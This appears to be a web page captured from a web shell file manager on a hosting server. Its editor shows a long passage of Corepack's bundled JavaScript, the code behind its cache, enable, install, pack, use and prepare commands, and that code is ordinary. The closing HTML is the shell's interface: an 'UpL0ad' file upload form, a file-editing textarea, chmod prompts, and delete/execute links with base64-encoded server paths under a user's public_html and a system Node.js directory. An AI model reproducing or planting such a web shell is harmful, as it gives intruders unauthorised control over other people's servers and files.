            if (transparent) {
              if (typeof locator.reference === `function`)
                fallbackDescriptor.range = await locator.reference();
              log(`Falling back to ${fallbackDescriptor.name}@${fallbackDescriptor.range} in a ${spec.name}@${spec.range} project`);
              return fallbackDescriptor;
            } else {
              throw new import_clipanion5.UsageError(`This project is configured to use ${spec.name} because ${result.target} has a &quot;${result.field}&quot; field`);
            }
          } else {
            log(`Using ${spec.name}@${spec.range} as defined in project manifest ${result.target}`);
            return spec;
          }
        }
      }
    }
  }
  async executePackageManagerRequest({ packageManager, binaryName, binaryVersion }, { cwd, args }) {
    let fallbackLocator = {
      name: binaryName,
      reference: void 0
    };
    let isTransparentCommand = false;
    if (packageManager != null) {
      const defaultVersion = binaryVersion || (() =&gt; this.getDefaultVersion(packageManager));
      const definition = this.config.definitions[packageManager];
      for (const transparentPath of definition.transparent.commands) {
        if (transparentPath[0] === binaryName &amp;&amp; transparentPath.slice(1).every((segment, index) =&gt; segment === args[index])) {
          isTransparentCommand = true;
          break;
        }
      }
      const fallbackReference = isTransparentCommand ? definition.transparent.default ?? defaultVersion : defaultVersion;
      fallbackLocator = {
        name: packageManager,
        reference: fallbackReference
      };
    }
    const descriptor = await this.findProjectSpec(cwd, fallbackLocator, { transparent: isTransparentCommand, binaryVersion });
    if (binaryVersion)
      descriptor.range = binaryVersion;
    const resolved = await this.resolveDescriptor(descriptor, { allowTags: true });
    if (resolved === null)
      throw new import_clipanion5.UsageError(`Failed to successfully resolve &#039;${descriptor.range}&#039; to a valid ${descriptor.name} release`);
    const installSpec = await this.ensurePackageManager(resolved);
    return await runVersion(resolved, installSpec, binaryName, args);
  }
  async resolveDescriptor(descriptor, { allowTags = false, useCache = true } = {}) {
    if (!isSupportedPackageManagerDescriptor(descriptor)) {
      if (import_process3.default.env.COREPACK_ENABLE_UNSAFE_CUSTOM_URLS !== `1` &amp;&amp; isSupportedPackageManager(descriptor.name))
        throw new import_clipanion5.UsageError(`Illegal use of URL for known package manager. Instead, select a specific version, or set COREPACK_ENABLE_UNSAFE_CUSTOM_URLS=1 in your environment (${descriptor.name}@${descriptor.range})`);
      return {
        name: descriptor.name,
        reference: descriptor.range
      };
    }
    const definition = this.config.definitions[descriptor.name];
    if (typeof definition === `undefined`)
      throw new import_clipanion5.UsageError(`This package manager (${descriptor.name}) isn&#039;t supported by this corepack build`);
    let finalDescriptor = descriptor;
    if (!(0, import_valid3.default)(descriptor.range) &amp;&amp; !(0, import_valid4.default)(descriptor.range)) {
      if (!allowTags)
        throw new import_clipanion5.UsageError(`Packages managers can&#039;t be referenced via tags in this context`);
      const ranges = Object.keys(definition.ranges);
      const tagRange = ranges[ranges.length - 1];
      const packageManagerSpec = definition.ranges[tagRange];
      const registry = getRegistryFromPackageManagerSpec(packageManagerSpec);
      const tags = await fetchAvailableTags2(registry);
      if (!Object.hasOwn(tags, descriptor.range))
        throw new import_clipanion5.UsageError(`Tag not found (${descriptor.range})`);
      finalDescriptor = {
        name: descriptor.name,
        range: tags[descriptor.range]
      };
    }
    const cachedVersion = await findInstalledVersion(getInstallFolder(), finalDescriptor);
    if (cachedVersion !== null &amp;&amp; useCache)
      return { name: finalDescriptor.name, reference: cachedVersion };
    if ((0, import_valid3.default)(finalDescriptor.range))
      return { name: finalDescriptor.name, reference: finalDescriptor.range };
    const versions = await Promise.all(Object.keys(definition.ranges).map(async (range) =&gt; {
      const packageManagerSpec = definition.ranges[range];
      const registry = getRegistryFromPackageManagerSpec(packageManagerSpec);
      const versions2 = await fetchAvailableVersions2(registry);
      return versions2.filter((version) =&gt; satisfiesWithPrereleases(version, finalDescriptor.range));
    }));
    const highestVersion = [...new Set(versions.flat())].sort(import_rcompare.default);
    if (highestVersion.length === 0)
      return null;
    return { name: finalDescriptor.name, reference: highestVersion[0] };
  }
};

// sources/commands/Cache.ts
var import_clipanion6 = __toESM(require_advanced());
var import_fs7 = __toESM(require(&quot;fs&quot;));
var CacheCommand = class extends import_clipanion6.Command {
  static paths = [
    [`cache`, `clean`],
    [`cache`, `clear`]
  ];
  static usage = import_clipanion6.Command.Usage({
    description: `Cleans Corepack cache`,
    details: `
      Removes Corepack cache directory from your local disk.
    `
  });
  async execute() {
    await import_fs7.default.promises.rm(getInstallFolder(), { recursive: true, force: true });
  }
};

// sources/commands/Disable.ts
var import_clipanion7 = __toESM(require_advanced());
var import_fs8 = __toESM(require(&quot;fs&quot;));
var import_path6 = __toESM(require(&quot;path&quot;));
var import_which = __toESM(require_lib());
var DisableCommand = class extends import_clipanion7.Command {
  static paths = [
    [`disable`]
  ];
  static usage = import_clipanion7.Command.Usage({
    description: `Remove the Corepack shims from the install directory`,
    details: `
      When run, this command will remove the shims for the specified package managers from the install directory, or all shims if no parameters are passed.

      By default it will locate the install directory by running the equivalent of \`which corepack\`, but this can be tweaked by explicitly passing the install directory via the \`--install-directory\` flag.
    `,
    examples: [[
      `Disable all shims, removing them if they&#039;re next to the \`coreshim\` binary`,
      `$0 disable`
    ], [
      `Disable all shims, removing them from the specified directory`,
      `$0 disable --install-directory /path/to/bin`
    ], [
      `Disable the Yarn shim only`,
      `$0 disable yarn`
    ]]
  });
  installDirectory = import_clipanion7.Option.String(`--install-directory`, {
    description: `Where the shims are located`
  });
  names = import_clipanion7.Option.Rest();
  async execute() {
    let installDirectory = this.installDirectory;
    if (typeof installDirectory === `undefined`)
      installDirectory = import_path6.default.dirname(await (0, import_which.default)(`corepack`));
    const names = this.names.length === 0 ? SupportedPackageManagerSetWithoutNpm : this.names;
    const allBinNames = [];
    for (const name2 of new Set(names)) {
      if (!isSupportedPackageManager(name2))
        throw new import_clipanion7.UsageError(`Invalid package manager name &#039;${name2}&#039;`);
      const binNames = this.context.engine.getBinariesFor(name2);
      allBinNames.push(...binNames);
    }
    const removeLink = process.platform === `win32` ? (binName) =&gt; this.removeWin32Link(installDirectory, binName) : (binName) =&gt; this.removePosixLink(installDirectory, binName);
    await Promise.all(allBinNames.map(removeLink));
  }
  async removePosixLink(installDirectory, binName) {
    const file = import_path6.default.join(installDirectory, binName);
    try {
      if (binName.includes(`yarn`) &amp;&amp; isYarnSwitchPath(await import_fs8.default.promises.realpath(file))) {
        console.warn(`${binName} is already installed in ${file} and points to a Yarn Switch install - skipping`);
        return;
      }
      await import_fs8.default.promises.unlink(file);
    } catch (err) {
      if (err.code !== `ENOENT`) {
        throw err;
      }
    }
  }
  async removeWin32Link(installDirectory, binName) {
    for (const ext of [``, `.ps1`, `.cmd`]) {
      const file = import_path6.default.join(installDirectory, `${binName}${ext}`);
      try {
        await import_fs8.default.promises.unlink(file);
      } catch (err) {
        if (err.code !== `ENOENT`) {
          throw err;
        }
      }
    }
  }
};

// sources/commands/Enable.ts
var import_cmd_shim = __toESM(require_cmd_shim());
var import_clipanion8 = __toESM(require_advanced());
var import_fs9 = __toESM(require(&quot;fs&quot;));
var import_path7 = __toESM(require(&quot;path&quot;));
var import_which2 = __toESM(require_lib());
var EnableCommand = class extends import_clipanion8.Command {
  static paths = [
    [`enable`]
  ];
  static usage = import_clipanion8.Command.Usage({
    description: `Add the Corepack shims to the install directory`,
    details: `
      When run, this command will check whether the shims for the specified package managers can be found with the correct values inside the install directory. If not, or if they don&#039;t exist, they will be created.

      By default it will locate the install directory by running the equivalent of \`which corepack\`, but this can be tweaked by explicitly passing the install directory via the \`--install-directory\` flag.
    `,
    examples: [[
      `Enable all shims, putting them next to the \`corepack\` binary`,
      `$0 enable`
    ], [
      `Enable all shims, putting them in the specified directory`,
      `$0 enable --install-directory /path/to/folder`
    ], [
      `Enable the Yarn shim only`,
      `$0 enable yarn`
    ]]
  });
  installDirectory = import_clipanion8.Option.String(`--install-directory`, {
    description: `Where the shims are to be installed`
  });
  names = import_clipanion8.Option.Rest();
  async execute() {
    let installDirectory = this.installDirectory;
    if (typeof installDirectory === `undefined`)
      installDirectory = import_path7.default.dirname(await (0, import_which2.default)(`corepack`));
    installDirectory = import_fs9.default.realpathSync(installDirectory);
    const manifestPath = require.resolve(&quot;corepack/package.json&quot;);
    const distFolder = import_path7.default.join(import_path7.default.dirname(manifestPath), `dist`);
    if (!import_fs9.default.existsSync(distFolder))
      throw new Error(`Assertion failed: The stub folder doesn&#039;t exist`);
    const names = this.names.length === 0 ? SupportedPackageManagerSetWithoutNpm : this.names;
    const allBinNames = [];
    for (const name2 of new Set(names)) {
      if (!isSupportedPackageManager(name2))
        throw new import_clipanion8.UsageError(`Invalid package manager name &#039;${name2}&#039;`);
      const binNames = this.context.engine.getBinariesFor(name2);
      allBinNames.push(...binNames);
    }
    const generateLink = process.platform === `win32` ? (binName) =&gt; this.generateWin32Link(installDirectory, distFolder, binName) : (binName) =&gt; this.generatePosixLink(installDirectory, distFolder, binName);
    await Promise.all(allBinNames.map(generateLink));
  }
  async generatePosixLink(installDirectory, distFolder, binName) {
    const file = import_path7.default.join(installDirectory, binName);
    const symlink = import_path7.default.relative(installDirectory, import_path7.default.join(distFolder, `${binName}.js`));
    const stats = import_fs9.default.lstatSync(file, { throwIfNoEntry: false });
    if (stats) {
      if (stats.isSymbolicLink()) {
        const currentSymlink = await import_fs9.default.promises.readlink(file);
        if (binName.includes(`yarn`) &amp;&amp; isYarnSwitchPath(await import_fs9.default.promises.realpath(file))) {
          console.warn(`${binName} is already installed in ${file} and points to a Yarn Switch install - skipping`);
          return;
        }
        if (currentSymlink === symlink) {
          return;
        }
      }
      await import_fs9.default.promises.unlink(file);
    }
    await import_fs9.default.promises.symlink(symlink, file);
  }
  async generateWin32Link(installDirectory, distFolder, binName) {
    const file = import_path7.default.join(installDirectory, binName);
    await (0, import_cmd_shim.default)(import_path7.default.join(distFolder, `${binName}.js`), file, {
      createCmdFile: true
    });
  }
};

// sources/commands/InstallGlobal.ts
var import_clipanion10 = __toESM(require_advanced());
var import_fs10 = __toESM(require(&quot;fs&quot;));
var import_path8 = __toESM(require(&quot;path&quot;));

// sources/commands/Base.ts
var import_clipanion9 = __toESM(require_advanced());
var BaseCommand = class extends import_clipanion9.Command {
  async resolvePatternsToDescriptors({ patterns }) {
    const resolvedSpecs = patterns.map((pattern) =&gt; parseSpec(pattern, `CLI arguments`, { enforceExactVersion: false }));
    if (resolvedSpecs.length === 0) {
      const lookup = await loadSpecAndEnv(this.context.cwd);
      switch (lookup.type) {
        case `NoProject`:
          throw new import_clipanion9.UsageError(`Couldn&#039;t find a project in the local directory - please specify the package manager to pack, or run this command from a valid project`);
        case `NoSpec`: {
          const { devEnginesValue } = lookup;
          if (devEnginesValue?.version)
            return [devEnginesToDescriptor(devEnginesValue)];
          throw new import_clipanion9.UsageError(`The local project doesn&#039;t feature a &#039;packageManager&#039; field ${devEnginesValue ? `` : `nor a &#039;devEngines.packageManager&#039; field `}- please specify the package manager to pack, or update the manifest to reference it`);
        }
        default: {
          const { devEnginesValue } = lookup;
          return [devEnginesValue?.version ? devEnginesToDescriptor(devEnginesValue) : lookup.getSpec()];
        }
      }
    } else {
      await loadSpecAndEnv(this.context.cwd, { envOnly: true });
    }
    return resolvedSpecs;
  }
  async setAndInstallLocalPackageManager(info) {
    const {
      previousPackageManager
    } = await setLocalPackageManager(this.context.cwd, info);
    const command = this.context.engine.getPackageManagerSpecFor(info.locator).commands?.use ?? null;
    if (command === null)
      return 0;
    process.env.COREPACK_MIGRATE_FROM = previousPackageManager;
    this.context.stdout.write(`
`);
    const [binaryName, ...args] = command;
    return await runVersion(info.locator, info, binaryName, args);
  }
};

// sources/commands/InstallGlobal.ts
var InstallGlobalCommand = class extends BaseCommand {
  static paths = [
    [`install`]
  ];
  static usage = import_clipanion10.Command.Usage({
    description: `Install package managers on the system`,
    details: `
      Download the selected package managers and install them on the system.

      Package managers thus installed will be configured as the new default when calling their respective binaries outside of projects defining the &#039;packageManager&#039; field.
    `,
    examples: [[
      `Install the latest version of Yarn 1.x and make it globally available`,
      `corepack install -g yarn@^1`
    ], [
      `Install the latest version of pnpm, and make it globally available`,
      `corepack install -g pnpm`
    ]]
  });
  global = import_clipanion10.Option.Boolean(`-g,--global`, {
    required: true
  });
  cacheOnly = import_clipanion10.Option.Boolean(`--cache-only`, false, {
    description: `If true, the package managers will only be cached, not set as new defaults`
  });
  args = import_clipanion10.Option.Rest();
  async execute() {
    if (this.args.length === 0)
      throw new import_clipanion10.UsageError(`No package managers specified`);
    await Promise.all(this.args.map((arg) =&gt; {
      if (arg.endsWith(`.tgz`)) {
        return this.installFromTarball(import_path8.default.resolve(this.context.cwd, arg));
      } else {
        return this.installFromDescriptor(parseSpec(arg, `CLI arguments`, { enforceExactVersion: false }));
      }
    }));
  }
  log(locator) {
    if (this.cacheOnly) {
      this.context.stdout.write(`Adding ${locator.name}@${locator.reference} to the cache...
`);
    } else {
      this.context.stdout.write(`Installing ${locator.name}@${locator.reference}...
`);
    }
  }
  async installFromDescriptor(descriptor) {
    const resolved = await this.context.engine.resolveDescriptor(descriptor, { allowTags: true, useCache: false });
    if (resolved === null)
      throw new import_clipanion10.UsageError(`Failed to successfully resolve &#039;${descriptor.range}&#039; to a valid ${descriptor.name} release`);
    this.log(resolved);
    await this.context.engine.ensurePackageManager(resolved);
    if (!this.cacheOnly) {
      await this.context.engine.activatePackageManager(resolved);
    }
  }
  async installFromTarball(p) {
    const installFolder = getInstallFolder();
    const archiveEntries = /* @__PURE__ */ new Map();
    const { list: tarT } = await Promise.resolve().then(() =&gt; (init_list(), list_exports));
    let hasShortEntries = false;
    await tarT({ file: p, onentry: (entry) =&gt; {
      const segments = entry.path.split(/\//g);
      if (segments.length &gt; 0 &amp;&amp; segments[segments.length - 1] !== `.corepack`)
        return;
      if (segments.length &lt; 3) {
        hasShortEntries = true;
      } else {
        let references = archiveEntries.get(segments[0]);
        if (typeof references === `undefined`)
          archiveEntries.set(segments[0], references = /* @__PURE__ */ new Set());
        references.add(segments[1]);
      }
    } });
    if (hasShortEntries || archiveEntries.size &lt; 1)
      throw new import_clipanion10.UsageError(`Invalid archive format; did it get generated by &#039;corepack pack&#039;?`);
    const { extract: tarX } = await Promise.resolve().then(() =&gt; (init_extract(), extract_exports));
    for (const [name2, references] of archiveEntries) {
      for (const reference of references) {
        if (!isSupportedPackageManager(name2))
          throw new import_clipanion10.UsageError(`Unsupported package manager &#039;${name2}&#039;`);
        this.log({ name: name2, reference });
        await import_fs10.default.promises.mkdir(installFolder, { recursive: true });
        await tarX({ file: p, cwd: installFolder }, [`${name2}/${reference}`]);
        if (!this.cacheOnly) {
          await this.context.engine.activatePackageManager({ name: name2, reference });
        }
      }
    }
  }
};

// sources/commands/InstallLocal.ts
var import_clipanion11 = __toESM(require_advanced());
var InstallLocalCommand = class extends BaseCommand {
  static paths = [
    [`install`]
  ];
  static usage = import_clipanion11.Command.Usage({
    description: `Install the package manager configured in the local project`,
    details: `
      Download and install the package manager configured in the local project. This command doesn&#039;t change the global version used when running the package manager from outside the project (use the \`-g,--global\` flag if you wish to do this).
    `,
    examples: [[
      `Install the project&#039;s package manager in the cache`,
      `corepack install`
    ]]
  });
  async execute() {
    const [descriptor] = await this.resolvePatternsToDescriptors({
      patterns: []
    });
    const resolved = await this.context.engine.resolveDescriptor(descriptor, { allowTags: true });
    if (resolved === null)
      throw new import_clipanion11.UsageError(`Failed to successfully resolve &#039;${descriptor.range}&#039; to a valid ${descriptor.name} release`);
    this.context.stdout.write(`Adding ${resolved.name}@${resolved.reference} to the cache...
`);
    await this.context.engine.ensurePackageManager(resolved);
  }
};

// sources/commands/Pack.ts
var import_clipanion12 = __toESM(require_advanced());
var import_promises3 = require(&quot;fs/promises&quot;);
var import_path11 = __toESM(require(&quot;path&quot;));
var PackCommand = class extends BaseCommand {
  static paths = [
    [`pack`]
  ];
  static usage = import_clipanion12.Command.Usage({
    description: `Store package managers in a tarball`,
    details: `
      Download the selected package managers and store them inside a tarball suitable for use with \`corepack install -g\`.
    `,
    examples: [[
      `Pack the package manager defined in the package.json file`,
      `corepack pack`
    ], [
      `Pack the latest version of Yarn 1.x inside a file named corepack.tgz`,
      `corepack pack yarn@^1`
    ]]
  });
  json = import_clipanion12.Option.Boolean(`--json`, false, {
    description: `If true, the path to the generated tarball will be printed on stdout`
  });
  output = import_clipanion12.Option.String(`-o,--output`, {
    description: `Where the tarball should be generated; by default &quot;corepack.tgz&quot;`
  });
  patterns = import_clipanion12.Option.Rest();
  async execute() {
    const descriptors = await this.resolvePatternsToDescriptors({
      patterns: this.patterns
    });
    const installLocations = [];
    for (const descriptor of descriptors) {
      const resolved = await this.context.engine.resolveDescriptor(descriptor, { allowTags: true, useCache: false });
      if (resolved === null)
        throw new import_clipanion12.UsageError(`Failed to successfully resolve &#039;${descriptor.range}&#039; to a valid ${descriptor.name} release`);
      this.context.stdout.write(`Adding ${resolved.name}@${resolved.reference} to the cache...
`);
      const packageManagerInfo = await this.context.engine.ensurePackageManager(resolved);
      await this.context.engine.activatePackageManager(packageManagerInfo.locator);
      installLocations.push(packageManagerInfo.location);
    }
    const baseInstallFolder = getInstallFolder();
    const outputPath = import_path11.default.resolve(this.context.cwd, this.output ?? `corepack.tgz`);
    if (!this.json) {
      this.context.stdout.write(`
`);
      this.context.stdout.write(`Packing the selected tools in ${import_path11.default.basename(outputPath)}...
`);
    }
    const { create: tarC } = await Promise.resolve().then(() =&gt; (init_create(), create_exports));
    await (0, import_promises3.mkdir)(baseInstallFolder, { recursive: true });
    await tarC({ gzip: true, cwd: baseInstallFolder, file: import_path11.default.resolve(outputPath) }, installLocations.map((location) =&gt; {
      return import_path11.default.relative(baseInstallFolder, location);
    }));
    if (this.json) {
      this.context.stdout.write(`${JSON.stringify(outputPath)}
`);
    } else {
      this.context.stdout.write(`All done!
`);
    }
  }
};

// sources/commands/Up.ts
var import_clipanion13 = __toESM(require_advanced());
var import_major = __toESM(require_major());
var import_valid5 = __toESM(require_valid());
var import_valid6 = __toESM(require_valid2());
var UpCommand = class extends BaseCommand {
  static paths = [
    [`up`]
  ];
  static usage = import_clipanion13.Command.Usage({
    description: `Update the package manager used in the current project`,
    details: `
      Retrieve the latest available version for the current major release line
      of the package manager used in the local project, and update the project
      to use it.

      Unlike \`corepack use\` this command doesn&#039;t take a package manager name
      nor a version range, as it will always select the latest available
      version from the same major line. Should you need to upgrade to a new
      major, use an explicit \`corepack use &#039;{name}@*&#039;\` call.
    `,
    examples: [[
      `Configure the project to use the latest Yarn release`,
      `corepack up`
    ]]
  });
  async execute() {
    const [descriptor] = await this.resolvePatternsToDescriptors({
      patterns: []
    });
    if (!(0, import_valid5.default)(descriptor.range) &amp;&amp; !(0, import_valid6.default)(descriptor.range))
      throw new import_clipanion13.UsageError(`The &#039;corepack up&#039; command can only be used when your project&#039;s packageManager field is set to a semver version or semver range`);
    const resolved = await this.context.engine.resolveDescriptor(descriptor, { useCache: false });
    if (!resolved)
      throw new import_clipanion13.UsageError(`Failed to successfully resolve &#039;${descriptor.range}&#039; to a valid ${descriptor.name} release`);
    const majorVersion = (0, import_major.default)(resolved.reference);
    const majorDescriptor = { name: descriptor.name, range: `^${majorVersion}.0.0` };
    const highestVersion = await this.context.engine.resolveDescriptor(majorDescriptor, { useCache: false });
    if (!highestVersion)
      throw new import_clipanion13.UsageError(`Failed to find the highest release for ${descriptor.name} ${majorVersion}.x`);
    this.context.stdout.write(`Installing ${highestVersion.name}@${highestVersion.reference} in the project...
`);
    const packageManagerInfo = await this.context.engine.ensurePackageManager(highestVersion);
    await this.setAndInstallLocalPackageManager(packageManagerInfo);
  }
};

// sources/commands/Use.ts
var import_clipanion14 = __toESM(require_advanced());
var UseCommand = class extends BaseCommand {
  static paths = [
    [`use`]
  ];
  static usage = import_clipanion14.Command.Usage({
    description: `Define the package manager to use for the current project`,
    details: `
      When run, this command will retrieve the latest release matching the
      provided descriptor, assign it to the project&#039;s package.json file, and
      automatically perform an install.
    `,
    examples: [[
      `Configure the project to use the latest Yarn release`,
      `corepack use yarn`
    ]]
  });
  pattern = import_clipanion14.Option.String();
  async execute() {
    const [descriptor] = await this.resolvePatternsToDescriptors({
      patterns: [this.pattern]
    });
    const resolved = await this.context.engine.resolveDescriptor(descriptor, { allowTags: true, useCache: false });
    if (resolved === null)
      throw new import_clipanion14.UsageError(`Failed to successfully resolve &#039;${descriptor.range}&#039; to a valid ${descriptor.name} release`);
    this.context.stdout.write(`Installing ${resolved.name}@${resolved.reference} in the project...
`);
    const packageManagerInfo = await this.context.engine.ensurePackageManager(resolved);
    await this.setAndInstallLocalPackageManager(packageManagerInfo);
  }
};

// sources/commands/deprecated/Hydrate.ts
var import_clipanion15 = __toESM(require_advanced());
var import_promises4 = require(&quot;fs/promises&quot;);
var import_path12 = __toESM(require(&quot;path&quot;));
var HydrateCommand = class extends import_clipanion15.Command {
  static paths = [
    [`hydrate`]
  ];
  activate = import_clipanion15.Option.Boolean(`--activate`, false, {
    description: `If true, this release will become the default one for this package manager`
  });
  fileName = import_clipanion15.Option.String();
  async execute() {
    const installFolder = getInstallFolder();
    const fileName = import_path12.default.resolve(this.context.cwd, this.fileName);
    const archiveEntries = /* @__PURE__ */ new Map();
    let hasShortEntries = false;
    const { list: tarT } = await Promise.resolve().then(() =&gt; (init_list(), list_exports));
    await tarT({ file: fileName, onentry: (entry) =&gt; {
      const segments = entry.path.split(/\//g);
      if (segments.length &lt; 3) {
        hasShortEntries = true;
      } else {
        let references = archiveEntries.get(segments[0]);
        if (typeof references === `undefined`)
          archiveEntries.set(segments[0], references = /* @__PURE__ */ new Set());
        references.add(segments[1]);
      }
    } });
    if (hasShortEntries || archiveEntries.size &lt; 1)
      throw new import_clipanion15.UsageError(`Invalid archive format; did it get generated by &#039;corepack prepare&#039;?`);
    const { extract: tarX } = await Promise.resolve().then(() =&gt; (init_extract(), extract_exports));
    for (const [name2, references] of archiveEntries) {
      for (const reference of references) {
        if (!isSupportedPackageManager(name2))
          throw new import_clipanion15.UsageError(`Unsupported package manager &#039;${name2}&#039;`);
        if (this.activate)
          this.context.stdout.write(`Hydrating ${name2}@${reference} for immediate activation...
`);
        else
          this.context.stdout.write(`Hydrating ${name2}@${reference}...
`);
        await (0, import_promises4.mkdir)(installFolder, { recursive: true });
        await tarX({ file: fileName, cwd: installFolder }, [`${name2}/${reference}`]);
        if (this.activate) {
          await this.context.engine.activatePackageManager({ name: name2, reference });
        }
      }
    }
    this.context.stdout.write(`All done!
`);
  }
};

// sources/commands/deprecated/Prepare.ts
var import_clipanion16 = __toESM(require_advanced());
var import_promises5 = require(&quot;fs/promises&quot;);
var import_path13 = __toESM(require(&quot;path&quot;));
var PrepareCommand = class extends import_clipanion16.Command {
  static paths = [
    [`prepare`]
  ];
  activate = import_clipanion16.Option.Boolean(`--activate`, false, {
    description: `If true, this release will become the default one for this package manager`
  });
  json = import_clipanion16.Option.Boolean(`--json`, false, {
    description: `If true, the output will be the path of the generated tarball`
  });
  output = import_clipanion16.Option.String(`-o,--output`, {
    description: `If true, the installed package managers will also be stored in a tarball`,
    tolerateBoolean: true
  });
  specs = import_clipanion16.Option.Rest();
  async execute() {
    const specs = this.specs;
    const installLocations = [];
    if (specs.length === 0) {
      const lookup = await loadSpecAndEnv(this.context.cwd);
      switch (lookup.type) {
        case `NoProject`:
          throw new import_clipanion16.UsageError(`Couldn&#039;t find a project in the local directory - please specify the package manager to pack, or run this command from a valid project`);
        case `NoSpec`: {
          const { devEnginesValue } = lookup;
          if (devEnginesValue?.version) {
            specs.push(devEnginesToDescriptor(devEnginesValue));
            break;
          }
          throw new import_clipanion16.UsageError(`The local project doesn&#039;t feature a &#039;packageManager&#039; field ${devEnginesValue ? `` : `nor a &#039;devEngines.packageManager&#039; field `}- please specify the package manager to pack, or update the manifest to reference it`);
        }
        default: {
          specs.push(lookup.getSpec());
        }
      }
    } else {
      await loadSpecAndEnv(this.context.cwd, { envOnly: true });
    }
    for (const request of specs) {
      const spec = typeof request === `string` ? parseSpec(request, `CLI arguments`, { enforceExactVersion: false }) : request;
      const resolved = await this.context.engine.resolveDescriptor(spec, { allowTags: true });
      if (resolved === null)
        throw new import_clipanion16.UsageError(`Failed to successfully resolve &#039;${spec.range}&#039; to a valid ${spec.name} release`);
      if (!this.json) {
        if (this.activate) {
          this.context.stdout.write(`Preparing ${spec.name}@${spec.range} for immediate activation...
`);
        } else {
          this.context.stdout.write(`Preparing ${spec.name}@${spec.range}...
`);
        }
      }
      const installSpec = await this.context.engine.ensurePackageManager(resolved);
      installLocations.push(installSpec.location);
      if (this.activate) {
        await this.context.engine.activatePackageManager(resolved);
      }
    }
    if (this.output) {
      const outputName = typeof this.output === `string` ? this.output : `corepack.tgz`;
      const baseInstallFolder = getInstallFolder();
      const outputPath = import_path13.default.resolve(this.context.cwd, outputName);
      if (!this.json)
        this.context.stdout.write(`Packing the selected tools in ${import_path13.default.basename(outputPath)}...
`);
      const { create: tarC } = await Promise.resolve().then(() =&gt; (init_create(), create_exports));
      await (0, import_promises5.mkdir)(baseInstallFolder, { recursive: true });
      await tarC({ gzip: true, cwd: baseInstallFolder, file: import_path13.default.resolve(outputPath) }, installLocations.map((location) =&gt; {
        return import_path13.default.relative(baseInstallFolder, location);
      }));
      if (this.json) {
        this.context.stdout.write(`${JSON.stringify(outputPath)}
`);
      } else {
        this.context.stdout.write(`All done!
`);
      }
    }
  }
};

// sources/main.ts
var { version: corepackVersion } = package_default;
function getPackageManagerRequestFromCli(parameter, engine) {
  if (!parameter)
    return null;
  const match = parameter.match(/^([^@]*)(?:@(.*))?$/);
  if (!match)
    return null;
  const [, binaryName, binaryVersion] = match;
  const packageManager = engine.getPackageManagerFor(binaryName);
  if (packageManager == null &amp;&amp; binaryVersion == null) return null;
  return {
    packageManager,
    binaryName,
    binaryVersion: binaryVersion || null
  };
}
function isUsageError(error) {
  return error?.name === `UsageError`;
}
async function runMain(argv) {
  const engine = new Engine();
  const [firstArg, ...restArgs] = argv;
  const request = getPackageManagerRequestFromCli(firstArg, engine);
  if (!request) {
    const cli = new import_clipanion17.Cli({
      binaryLabel: `Corepack`,
      binaryName: `corepack`,
      binaryVersion: corepackVersion
    });
    cli.register(import_clipanion17.Builtins.HelpCommand);
    cli.register(import_clipanion17.Builtins.VersionCommand);
    cli.register(CacheCommand);
    cli.register(DisableCommand);
    cli.register(EnableCommand);
    cli.register(InstallGlobalCommand);
    cli.register(InstallLocalCommand);
    cli.register(PackCommand);
    cli.register(UpCommand);
    cli.register(UseCommand);
    cli.register(HydrateCommand);
    cli.register(PrepareCommand);
    const context = {
      ...import_clipanion17.Cli.defaultContext,
      cwd: process.cwd(),
      engine
    };
    const code2 = await cli.run(argv, context);
    if (code2 !== 0) {
      process.exitCode ??= code2;
    }
  } else {
    try {
      await engine.executePackageManagerRequest(request, {
        cwd: process.cwd(),
        args: restArgs
      });
    } catch (error) {
      if (isUsageError(error)) {
        console.error(error.message);
        process.exit(1);
      }
      throw error;
    }
  }
}
// Annotate the CommonJS export names for ESM import in node:
0 &amp;&amp; (module.exports = {
  runMain
});
/*! Bundled license information:

is-windows/index.js:
  (*!
   * is-windows &lt;https://github.com/jonschlinkert/is-windows&gt;
   *
   * Copyright  2015-2018, Jon Schlinkert.
   * Released under the MIT License.
   *)
*/
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /opt/alt/alt-nodejs24/root/usr/lib/node_modules/corepack/dist/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9hbHQvYWx0LW5vZGVqczI0L3Jvb3QvdXNyL2xpYi9ub2RlX21vZHVsZXMvY29yZXBhY2svZGlzdC9saWI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvYWx0LW5vZGVqczI0L3Jvb3QvdXNyL2xpYi9ub2RlX21vZHVsZXMvY29yZXBhY2svZGlzdC9saWI=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>26</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvYWx0LW5vZGVqczI0L3Jvb3QvdXNyL2xpYi9ub2RlX21vZHVsZXMvY29yZXBhY2svZGlzdA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvYWx0LW5vZGVqczI0L3Jvb3QvdXNyL2xpYi9ub2RlX21vZHVsZXMvY29yZXBhY2svZGlzdC9saWI=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>127</td></tr><tr><td><a href="?d=L29wdC9hbHQvYWx0LW5vZGVqczI0L3Jvb3QvdXNyL2xpYi9ub2RlX21vZHVsZXMvY29yZXBhY2svZGlzdC9saWI=&x=Y29yZXBhY2suY2pz">X</a></td><td><a href="?d=L29wdC9hbHQvYWx0LW5vZGVqczI0L3Jvb3QvdXNyL2xpYi9ub2RlX21vZHVsZXMvY29yZXBhY2svZGlzdC9saWI=&f=Y29yZXBhY2suY2pz"/>corepack.cjs</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvYWx0LW5vZGVqczI0L3Jvb3QvdXNyL2xpYi9ub2RlX21vZHVsZXMvY29yZXBhY2svZGlzdC9saWI=&f=Y29yZXBhY2suY2pz&c=`+btoa(c):0" value="0644"></td><td>530014</td></tr></table>